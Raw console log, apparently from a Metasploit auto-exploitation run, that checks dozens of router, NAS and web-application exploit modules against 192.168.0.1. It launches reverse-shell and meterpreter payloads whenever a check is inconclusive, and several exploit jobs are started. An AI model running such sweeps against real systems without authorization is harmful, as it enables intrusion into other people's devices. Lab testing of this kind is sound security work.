[*] Check code for linux/http/majordomo_cmd_inject_cve_2023_50917: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not MajorDoMo.", reason="The target is not MajorDoMo.", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/majordomo_cmd_inject_cve_2023_50917
[*] Checking linux/http/microfocus_secure_messaging_gateway against host 192.168.0.1:80 ...
[*] Check code for linux/http/microfocus_secure_messaging_gateway: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/microfocus_secure_messaging_gateway
[*] Checking linux/http/moodle_rce against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting linux/http/moodle_rce against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking linux/http/motioneye_auth_rce_cve_2025_60787 against host 192.168.0.1:80 ...
[*] Exploiting linux/http/motioneye_auth_rce_cve_2025_60787 against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking linux/http/multi_ncc_ping_exec against host 192.168.0.1:80 ...
[*] Check code for linux/http/multi_ncc_ping_exec: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Could not determine the target status", reason="Could not determine the target status", details={}, vuln={}>
[*] Exploiting linux/http/multi_ncc_ping_exec against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Exploit linux/http/multi_ncc_ping_exec job ID for target 192.168.0.1 is: 5
[*] Checking linux/http/mutiny_frontend_upload against host 192.168.0.1:80 ...
[*] Check code for linux/http/mutiny_frontend_upload: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/mutiny_frontend_upload
[*] Checking linux/http/mvpower_dvr_shell_exec against host 192.168.0.1:80 ...
[*] Check code for linux/http/mvpower_dvr_shell_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/mvpower_dvr_shell_exec
[*] Checking linux/http/nagios_xi_chained_rce against host 192.168.0.1:80 ...
[*] Check code for linux/http/nagios_xi_chained_rce: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Could not determine Nagios XI version", reason="Could not determine Nagios XI version", details={}, vuln={}>
[*] Exploiting linux/http/nagios_xi_chained_rce against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking linux/http/nagios_xi_chained_rce_2_electric_boogaloo against host 192.168.0.1:80 ...
[*] Exploiting linux/http/nagios_xi_chained_rce_2_electric_boogaloo against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking linux/http/nagios_xi_configwizards_authenticated_rce against host 192.168.0.1:80 ...
[*] Check code for linux/http/nagios_xi_configwizards_authenticated_rce: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. Target is not a Nagios XI application", reason="Target is not a Nagios XI application", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/nagios_xi_configwizards_authenticated_rce
[*] Checking linux/http/nagios_xi_mibs_authenticated_rce against host 192.168.0.1:80 ...
[-] One or more options failed to validate: PASSWORD.
[*] Exploiting linux/http/nagios_xi_mibs_authenticated_rce against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking linux/http/nagios_xi_plugins_check_plugin_authenticated_rce against host 192.168.0.1:80 ...
[-] One or more options failed to validate: PASSWORD.
[*] Exploiting linux/http/nagios_xi_plugins_check_plugin_authenticated_rce against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking linux/http/nagios_xi_plugins_filename_authenticated_rce against host 192.168.0.1:80 ...
[-] One or more options failed to validate: PASSWORD.
[*] Exploiting linux/http/nagios_xi_plugins_filename_authenticated_rce against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking linux/http/nagios_xi_snmptrap_authenticated_rce against host 192.168.0.1:80 ...
[-] One or more options failed to validate: PASSWORD.
[*] Exploiting linux/http/nagios_xi_snmptrap_authenticated_rce against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking linux/http/netgear_dgn1000_setup_unauth_exec against host 192.168.0.1:80 ...
[*] Check code for linux/http/netgear_dgn1000_setup_unauth_exec: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Could not determine the target status", reason="Could not determine the target status", details={}, vuln={}>
[*] Exploiting linux/http/netgear_dgn1000_setup_unauth_exec against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking linux/http/netgear_dgn1000b_setup_exec against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting linux/http/netgear_dgn1000b_setup_exec against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Exploit linux/http/netgear_dgn1000b_setup_exec job ID for target 192.168.0.1 is: 6
[*] Checking linux/http/netgear_dgn2200b_pppoe_exec against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting linux/http/netgear_dgn2200b_pppoe_exec against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Exploit linux/http/netgear_dgn2200b_pppoe_exec job ID for target 192.168.0.1 is: 7
[*] Checking linux/http/netgear_dnslookup_cmd_exec against host 192.168.0.1:80 ...
[*] Check code for linux/http/netgear_dnslookup_cmd_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. NETGEAR router not detected", reason="NETGEAR router not detected", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/netgear_dnslookup_cmd_exec
[*] Checking linux/http/netgear_r7000_cgibin_exec against host 192.168.0.1:80 ...
[*] Check code for linux/http/netgear_r7000_cgibin_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. NETGEAR router not detected", reason="NETGEAR router not detected", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/netgear_r7000_cgibin_exec
[*] Checking linux/http/netgear_unauth_exec against host 192.168.0.1:80 ...
[*] Check code for linux/http/netgear_unauth_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/netgear_unauth_exec
[*] Checking linux/http/netgear_wnr2000_rce against host 192.168.0.1:80 ...
[*] Check code for linux/http/netgear_wnr2000_rce: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/netgear_wnr2000_rce
[*] Checking linux/http/netis_unauth_rce_cve_2024_22729 against host 192.168.0.1:80 ...
[*] Check code for linux/http/netis_unauth_rce_cve_2024_22729: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. No valid response received from target.", reason="No valid response received from target.", details={}, vuln={}>
[*] Exploiting linux/http/netis_unauth_rce_cve_2024_22729 against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking linux/http/netis_unauth_rce_cve_2024_48456_and_48457 against host 192.168.0.1:80 ...
[*] Check code for linux/http/netis_unauth_rce_cve_2024_48456_and_48457: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. No valid response received from target.", reason="No valid response received from target.", details={}, vuln={}>
[*] Exploiting linux/http/netis_unauth_rce_cve_2024_48456_and_48457 against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking linux/http/nginx_chunked_size against host 192.168.0.1:80 ...
[*] Check code for linux/http/nginx_chunked_size: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/nginx_chunked_size
[*] Checking linux/http/opendcim_install_sqli_rce against host 192.168.0.1:80 ...
[*] Check code for linux/http/opendcim_install_sqli_rce: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. install.php returned unexpected status code.", reason="install.php returned unexpected status code.", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/opendcim_install_sqli_rce
[*] Checking linux/http/optergy_bms_backdoor_rce_cve_2019_7276 against host 192.168.0.1:80 ...
[*] Check code for linux/http/optergy_bms_backdoor_rce_cve_2019_7276: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/optergy_bms_backdoor_rce_cve_2019_7276
[*] Checking linux/http/pandora_fms_auth_netflow_rce against host 192.168.0.1:80 ...
[*] Check code for linux/http/pandora_fms_auth_netflow_rce: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Received unexpected response", reason="Received unexpected response", details={}, vuln={}>
[*] Exploiting linux/http/pandora_fms_auth_netflow_rce against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking linux/http/pandora_fms_events_exec against host 192.168.0.1:80 ...
[*] Check code for linux/http/pandora_fms_events_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. Target is not a Pandora FMS application.", reason="Target is not a Pandora FMS application.", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/pandora_fms_events_exec
[*] Checking linux/http/pandora_fms_sqli against host 192.168.0.1:80 ...
[*] Check code for linux/http/pandora_fms_sqli: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. Pandora FMS was not detected", reason="Pandora FMS was not detected", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/pandora_fms_sqli
[*] Checking linux/http/pandora_ping_cmd_exec against host 192.168.0.1:80 ...
[-] One or more options failed to validate: USERNAME, PASSWORD.
[*] Exploiting linux/http/pandora_ping_cmd_exec against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking linux/http/php_imap_open_rce against host 192.168.0.1:80 ...
[*] Check code for linux/http/php_imap_open_rce: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/php_imap_open_rce
[*] Checking linux/http/piranha_passwd_exec against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting linux/http/piranha_passwd_exec against host 192.168.0.1:80 ...
[*] Payload selected: linux/mips/shell_bind_tcp
[*] Checking linux/http/pivotx_index_php_overwrite against host 192.168.0.1:80 ...
[*] Check code for linux/http/pivotx_index_php_overwrite: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Unexpected response", reason="Unexpected response", details={}, vuln={}>
[*] Exploiting linux/http/pivotx_index_php_overwrite against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking linux/http/pretalx_rce_cve_2023_28458 against host 192.168.0.1:80 ...
[-] One or more options failed to validate: CONFERENCE_NAME, EMAIL, PASSWORD.
[*] Exploiting linux/http/pretalx_rce_cve_2023_28458 against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking linux/http/prison_management_rce against host 192.168.0.1:80 ...
[*] Check code for linux/http/prison_management_rce: #<struct Msf::Exploit::CheckCode code="detected", message="The service is running, but could not be validated. Unexpected response code: 404", reason="Unexpected response code: 404", details={}, vuln={}>
[*] Exploiting linux/http/prison_management_rce against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking linux/http/projectsend_unauth_rce against host 192.168.0.1:80 ...
[-] Msf::Modules::Exploit__Linux__Http__Projectsend_unauth_rce::MetasploitModule::CSRFRetrievalError: CSRF token not found in the response
[*] Exploiting linux/http/projectsend_unauth_rce against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking linux/http/qnap_qts_rce_cve_2023_47218 against host 192.168.0.1:80 ...
[*] Check code for linux/http/qnap_qts_rce_cve_2023_47218: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. Received HTTP status code: 404. This indicates the device is not vulnerable.", reason="Received HTTP status code: 404. This indicates the device is not vulnerable.", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/qnap_qts_rce_cve_2023_47218
[*] Checking linux/http/raidsonic_nas_ib5220_exec_noauth against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting linux/http/raidsonic_nas_ib5220_exec_noauth against host 192.168.0.1:80 ...
[*] Payload selected: linux/mips/shell_bind_tcp
[*] Checking linux/http/railo_cfml_rfi against host 192.168.0.1:80 ...
[*] Check code for linux/http/railo_cfml_rfi: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/railo_cfml_rfi
[*] Checking linux/http/samsung_srv_1670d_upload_exec against host 192.168.0.1:80 ...
[*] Check code for linux/http/samsung_srv_1670d_upload_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. Samsung NVR not detected", reason="Samsung NVR not detected", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/samsung_srv_1670d_upload_exec
[*] Checking linux/http/seagate_nas_php_exec_noauth against host 192.168.0.1:80 ...
[*] Check code for linux/http/seagate_nas_php_exec_noauth: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/seagate_nas_php_exec_noauth
[*] Checking linux/http/skyvern_ssti_cve_2025_49619 against host 192.168.0.1:80 ...
[*] Check code for linux/http/skyvern_ssti_cve_2025_49619: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. Target is probably not Skyvern", reason="Target is probably not Skyvern", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/skyvern_ssti_cve_2025_49619
[*] Checking linux/http/smt_ipmi_close_window_bof against host 192.168.0.1:80 ...
[*] Check code for linux/http/smt_ipmi_close_window_bof: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Could not determine the target status", reason="Could not determine the target status", details={}, vuln={}>
[*] Exploiting linux/http/smt_ipmi_close_window_bof against host 192.168.0.1:80 ...
[*] Payload selected: linux/mips/shell_bind_tcp
[*] Checking linux/http/solarview_unauth_rce_cve_2023_23333 against host 192.168.0.1:80 ...
[*] Check code for linux/http/solarview_unauth_rce_cve_2023_23333: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. No valid response received from the target.", reason="No valid response received from the target.", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/solarview_unauth_rce_cve_2023_23333
[*] Checking linux/http/splunk_auth_rce_cve_2024_36985 against host 192.168.0.1:80 ...
[-] One or more options failed to validate: PASSWORD.
[*] Exploiting linux/http/splunk_auth_rce_cve_2024_36985 against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking linux/http/suitecrm_log_file_rce against host 192.168.0.1:80 ...
[*] Check code for linux/http/suitecrm_log_file_rce: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Could not determine the target status", reason="Could not determine the target status", details={}, vuln={}>
[*] Exploiting linux/http/suitecrm_log_file_rce against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking linux/http/symantec_web_gateway_exec against host 192.168.0.1:80 ...
[*] Check code for linux/http/symantec_web_gateway_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/symantec_web_gateway_exec
[*] Checking linux/http/symantec_web_gateway_file_upload against host 192.168.0.1:80 ...
[*] Check code for linux/http/symantec_web_gateway_file_upload: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/symantec_web_gateway_file_upload
[*] Checking linux/http/symantec_web_gateway_lfi against host 192.168.0.1:80 ...
[*] Check code for linux/http/symantec_web_gateway_lfi: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/symantec_web_gateway_lfi
[*] Checking linux/http/symantec_web_gateway_pbcontrol against host 192.168.0.1:80 ...
[*] Check code for linux/http/symantec_web_gateway_pbcontrol: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/symantec_web_gateway_pbcontrol
[*] Checking linux/http/symmetricom_syncserver_rce against host 192.168.0.1:80 ...
[*] Check code for linux/http/symmetricom_syncserver_rce: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/symmetricom_syncserver_rce
[*] Checking linux/http/tiki_calendar_exec against host 192.168.0.1:80 ...
[*] Exploiting linux/http/tiki_calendar_exec against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking linux/http/totolink_unauth_rce_cve_2023_30013 against host 192.168.0.1:80 ...
[*] Check code for linux/http/totolink_unauth_rce_cve_2023_30013: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. No valid response received from target.", reason="No valid response received from target.", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/totolink_unauth_rce_cve_2023_30013
[*] Checking linux/http/tp_link_ncxxx_bonjour_command_injection against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting linux/http/tp_link_ncxxx_bonjour_command_injection against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking linux/http/tp_link_sc2020n_authenticated_telnet_injection against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting linux/http/tp_link_sc2020n_authenticated_telnet_injection against host 192.168.0.1:80 ...
[*] Payload selected: cmd/unix/interact
[*] Checking linux/http/trendmicro_sps_exec against host 192.168.0.1:80 ...
[*] Exploiting linux/http/trendmicro_sps_exec against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking linux/http/trueonline_billion_5200w_rce against host 192.168.0.1:80 ...
[-] This module does not support check.
[*] Exploiting linux/http/trueonline_billion_5200w_rce against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking linux/http/trueonline_p660hn_v1_rce against host 192.168.0.1:80 ...
[*] Check code for linux/http/trueonline_p660hn_v1_rce: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Could not determine the target status", reason="Could not determine the target status", details={}, vuln={}>
[*] Exploiting linux/http/trueonline_p660hn_v1_rce against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking linux/http/trueonline_p660hn_v2_rce against host 192.168.0.1:80 ...
[-] One or more options failed to validate: LHOST.
[*] Exploiting linux/http/trueonline_p660hn_v2_rce against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking linux/http/unraid_auth_bypass_exec against host 192.168.0.1:80 ...
[*] Check code for linux/http/unraid_auth_bypass_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. Unexpected reply", reason="Unexpected reply", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/unraid_auth_bypass_exec
[*] Checking linux/http/vap2500_tools_command_exec against host 192.168.0.1:80 ...
[*] Check code for linux/http/vap2500_tools_command_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/vap2500_tools_command_exec
[*] Checking linux/http/vcms_upload against host 192.168.0.1:80 ...
[*] Check code for linux/http/vcms_upload: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/vcms_upload
[*] Checking linux/http/wanem_exec against host 192.168.0.1:80 ...
[*] Check code for linux/http/wanem_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/wanem_exec
[*] Checking linux/http/wd_mycloud_multiupload_upload against host 192.168.0.1:80 ...
[*] Check code for linux/http/wd_mycloud_multiupload_upload: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/wd_mycloud_multiupload_upload
[*] Checking linux/http/webcalendar_settings_exec against host 192.168.0.1:80 ...
[*] Check code for linux/http/webcalendar_settings_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/webcalendar_settings_exec
[*] Checking linux/http/webid_converter against host 192.168.0.1:80 ...
[*] Check code for linux/http/webid_converter: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/webid_converter
[*] Checking linux/http/wipg1000_cmd_injection against host 192.168.0.1:80 ...
[*] Check code for linux/http/wipg1000_cmd_injection: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/http/wipg1000_cmd_injection
[*] Checking linux/http/xorcom_completepbx_scheduler against host 192.168.0.1:80 ...
[-] One or more options failed to validate: PASSWORD.
[*] Exploiting linux/http/xorcom_completepbx_scheduler against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking linux/http/zabbix_sqli against host 192.168.0.1:80 ...
[*] Check code for linux/http/zabbix_sqli: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Could not determine the target status", reason="Could not determine the target status", details={}, vuln={}>
[*] Exploiting linux/http/zabbix_sqli against host 192.168.0.1:80 ...
[*] Payload selected: linux/mips/shell_bind_tcp
[*] Checking linux/http/zyxel_lfi_unauth_ssh_rce against host 192.168.0.1:80 ...
[*] Check code for linux/http/zyxel_lfi_unauth_ssh_rce: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Could not retrieve the target configuration", reason="Could not retrieve the target configuration", details={}, vuln={}>
[*] Exploiting linux/http/zyxel_lfi_unauth_ssh_rce against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking linux/http/zyxel_parse_config_rce against host 192.168.0.1:80 ...
[*] Check code for linux/http/zyxel_parse_config_rce: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Version and product info were unable to be determined.", reason="Version and product info were unable to be determined.", details={}, vuln={}>
[*] Exploiting linux/http/zyxel_parse_config_rce against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking linux/misc/zyxel_multiple_devices_zhttp_lan_rce against host 192.168.0.1:80 ...
[*] Check code for linux/misc/zyxel_multiple_devices_zhttp_lan_rce: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. Zyxel device did not expose /etc/passwd via Export_Log path traversal", reason="Zyxel device did not expose /etc/passwd via Export_Log path traversal", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for linux/misc/zyxel_multiple_devices_zhttp_lan_rce
[*] Checking linux/telnet/gnu_inetutils_auth_bypass against host 192.168.0.1:23 ...
[-] This module does not support check.
[*] Exploiting linux/telnet/gnu_inetutils_auth_bypass against host 192.168.0.1:23 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking linux/telnet/telnet_encrypt_keyid against host 192.168.0.1:23 ...
[-] This module does not support check.
[*] Exploiting linux/telnet/telnet_encrypt_keyid against host 192.168.0.1:23 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking linux/upnp/belkin_wemo_upnp_exec against host 192.168.0.1:49152 ...
[*] Check code for linux/upnp/belkin_wemo_upnp_exec: #<struct Msf::Exploit::CheckCode code="unknown", message="Cannot reliably check exploitability. Wemo-enabled device not yet detected", reason="Wemo-enabled device not yet detected", details={}, vuln={}>
[*] Exploiting linux/upnp/belkin_wemo_upnp_exec against host 192.168.0.1:49152 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking linux/upnp/dlink_dir859_subscribe_exec against host 192.168.0.1:49152 ...
[-] This module does not support check.
[*] Exploiting linux/upnp/dlink_dir859_subscribe_exec against host 192.168.0.1:49152 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking multi/http/activecollab_chat against host 192.168.0.1:80 ...
[-] One or more options failed to validate: USER, PASS.
[*] Exploiting multi/http/activecollab_chat against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/agent_tesla_panel_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/agent_tesla_panel_rce: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/agent_tesla_panel_rce
[*] Checking multi/http/ajaxplorer_checkinstall_exec against host 192.168.0.1:80 ...
[*] Check code for multi/http/ajaxplorer_checkinstall_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/ajaxplorer_checkinstall_exec
[*] Checking multi/http/apache_apisix_api_default_token_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/apache_apisix_api_default_token_rce: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. APISIX not detected in Server header", reason="APISIX not detected in Server header", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/apache_apisix_api_default_token_rce
[*] Checking multi/http/apache_commons_text4shell against host 192.168.0.1:80 ...
[-] One or more options failed to validate: PARAM.
[*] Exploiting multi/http/apache_commons_text4shell against host 192.168.0.1:80 ...
[*] Payload selected: java/meterpreter/bind_tcp
[*] Checking multi/http/apache_mod_cgi_bash_env_exec against host 192.168.0.1:80 ...
[-] One or more options failed to validate: TARGETURI.
[*] Exploiting multi/http/apache_mod_cgi_bash_env_exec against host 192.168.0.1:80 ...
[*] Payload selected: generic/shell_reverse_tcp
[*] Checking multi/http/apprain_upload_exec against host 192.168.0.1:80 ...
[*] Check code for multi/http/apprain_upload_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/apprain_upload_exec
[*] Checking multi/http/atutor_sqli against host 192.168.0.1:80 ...
[*] Check code for multi/http/atutor_sqli: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/atutor_sqli
[*] Checking multi/http/atutor_upload_traversal against host 192.168.0.1:80 ...
[*] Check code for multi/http/atutor_upload_traversal: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. Target is not an ATutor application.", reason="Target is not an ATutor application.", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/atutor_upload_traversal
[*] Checking multi/http/auxilium_upload_exec against host 192.168.0.1:80 ...
[*] Check code for multi/http/auxilium_upload_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target is not vulnerable", reason="The target is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/auxilium_upload_exec
[*] Checking multi/http/avideo_notify_ffmpeg_unauth_rce against host 192.168.0.1:80 ...
[*] Check code for multi/http/avideo_notify_ffmpeg_unauth_rce: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. notify.ffmpeg.json.php not found (requires 14.3.1+)", reason="notify.ffmpeg.json.php not found (requires 14.3.1+)", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/avideo_notify_ffmpeg_unauth_rce
[*] Checking multi/http/baldr_upload_exec against host 192.168.0.1:80 ...
[*] Check code for multi/http/baldr_upload_exec: #<struct Msf::Exploit::CheckCode code="safe", message="The target is not exploitable. The target version is not vulnerable", reason="The target version is not vulnerable", details={}, vuln={}>
[*] Check code is safe - skipping exploitation attempt for multi/http/baldr_upload_exec
[*] Checking multi/http/bolt_file_upload against host 192.168.0.1:80 ...
[-] One or more options failed to validate: USERNAME, PASSWORD.
[*] Exploiting multi/http/bolt_file_upload against host 192.168.0.1:80 ...
[*] Payload selected: php/meterpreter/bind_tcp
[*] Checking multi/http/builderengine_upload_exec against host 192.168.0.1:80 ...
